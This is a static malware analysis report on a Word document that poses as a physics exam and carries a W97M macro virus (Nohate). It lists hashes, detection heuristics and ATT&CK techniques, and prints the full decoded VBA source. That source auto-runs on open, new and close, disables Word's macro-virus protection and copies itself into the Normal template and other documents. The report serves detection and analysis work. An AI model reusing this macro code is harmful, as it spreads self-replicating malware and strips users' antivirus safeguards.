Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b68e4a539cde8691…

MALICIOUS

Office (OLE)

32.0 KB Created: 2004-04-27 05:07:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-24
MD5: 75ea1fee69bef3dd56471c13feebeeb0 SHA-1: 182bed7c1d0be283d042491f6aae5b784da364b6 SHA-256: b68e4a539cde8691ac707e7274e9b1274e01d5ecc18cce0d7d6ec12c7700de7c
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros. The macros are designed to disable macro virus protection and replicate themselves by copying their code to other documents and templates. The document body presents as a physics exam, which is a common lure for malicious documents. The critical heuristic 'VBA macro-virus self-replication / AV tampering' and the presence of the 'AutoOpen' macro strongly indicate malicious intent.

Heuristics 6

  • ClamAV: Doc.Trojan.Nohate-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nohate-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1510 bytes
SHA-256: 8cd24bf5448b4a0dd64d7efb7df268f9da34aa7fe6a0532483bcc42d3127fff0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NoNoHate_A"
Sub AutoExec()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoNew()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoClose()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Function Virus()
    On Error Resume Next
    E
End Function
Function E()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Dim A, B As String
    A = Application.NormalTemplate.FullName
    B = Application.ActiveDocument.FullName
    Application.OrganizerDelete A, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerDelete B, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy A, B, "NoNoHate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy B, A, "NoNoHate_A", wdOrganizerObjectProjectItems
End Function

Sub ArquivoSalvar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
    ActiveDocument.Save
End Sub